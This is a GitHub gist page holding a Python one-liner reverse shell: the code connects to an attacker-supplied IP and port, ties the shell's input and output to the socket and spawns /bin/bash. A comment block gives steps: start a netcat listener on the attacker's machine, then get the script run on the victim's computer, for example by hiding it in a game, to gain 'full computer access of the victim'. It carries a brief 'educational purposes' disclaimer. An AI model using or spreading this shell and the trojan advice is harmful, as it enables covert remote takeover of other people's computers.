Last active
August 6, 2021 20:26
-
-
Save skaravind/123a823dd3ec5fef8e06ad840a4b8231 to your computer and use it in GitHub Desktop.
One liner reverse shell Python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP_ADDRESS>,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash") | |
| ''' | |
| This is for educational purposes, do not use this to illegally hack someone. Hack with permission. | |
| 1. Add the attacker's IP_ADDRESS and PORT | |
| 2. run "nc -l PORT" or "nc -lp PORT" in the attacker's comp and start listening on the PORT. | |
| 3. run this script in the victim's computer by whatever means at your disposal. (e.g. make a game that runs this script in the backend) | |
| VOILA, you should have full computer access of the victim. | |
| ''' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment